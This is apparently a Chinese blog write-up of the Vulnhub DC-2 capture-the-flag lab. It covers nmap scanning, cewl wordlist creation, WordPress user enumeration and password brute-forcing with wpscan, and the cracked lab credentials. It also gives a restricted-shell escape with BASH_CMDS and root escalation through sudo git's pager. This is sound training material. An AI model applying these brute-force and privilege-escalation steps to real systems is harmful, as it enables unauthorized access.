Vulnhub靶场 DC-2

pwfortune

已于 2024-09-12 00:19:00 修改

阅读量328

点赞数 3

文章标签： vulnhub ctf

于 2024-09-12 00:18:43 首次发布

本文链接：https://blog.csdn.net/2302_80472909/article/details/142069545

版权

靶机地址:https://www.vulnhub.com/entry/dc-2,311/
导入到VMware里面去, 设置NAT模式

namp扫描一下c段获取ip地址, 然后再扫描ip地址获取详细的信息
在这里插入图片描述

得到ip 192.168.75.134 无法访问
按照下面这个方法可以访问了
在这里插入图片描述

在kali上的处理

在这里插入图片描述

flag1

网站上就存在
在这里插入图片描述提示了一个cewl工具, 这个工具通过扫描网站生成一个字典

cewl http://dc-2/ -w 1.txt

在这里插入图片描述

用dirsearch 扫描一下网站
存在wordpress后台登录页面 http://dc-2/wp-admin 在这里插入图片描述

kali自带的工具wpscan用于wordpress框架漏洞
枚举一下用户
wpscan --url http://dc-2/ -e u
在这里插入图片描述
找到了3个用户, 结合前面cewl生成的字典,爆破一下密码

wpscan --url http://dc-2/ -U admin -P 1.txt
wpscan --url http://dc-2/ -U jerry -P 1.txt
wpscan --url http://dc-2/ -U tom -P 1.txt
找到两个用户的密码

jerry / adipiscing
tom / parturient

在这里插入图片描述

可以登录进后台
在这里插入图片描述

flag2

找到第二个flag
在这里插入图片描述

flag3

ssh远程登录一下
tom的用户可以登录进去
在这里插入图片描述

可以看到flag3
less命令可以查看
在这里插入图片描述
这里不能使用cat命令的限制也可以绕过,
看了一下别人的做法
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/

提示我们需要 su 切换用户
su jerry

flag4

find命令可以找到flag4
在这里插入图片描述

在这里插入图片描述还有最后一个flag, 肯定是需要提权的
提示了一个 git
通过git提权
sudo git -p help
文件的最后加上 !/bin/bash
这里有个小坑, 终端需要小一点, 才不会一页全部显示出来, 才能在最后输入上!/bin/bash, 要是终端太大了, 会直接结束, 没办法输入
在这里插入图片描述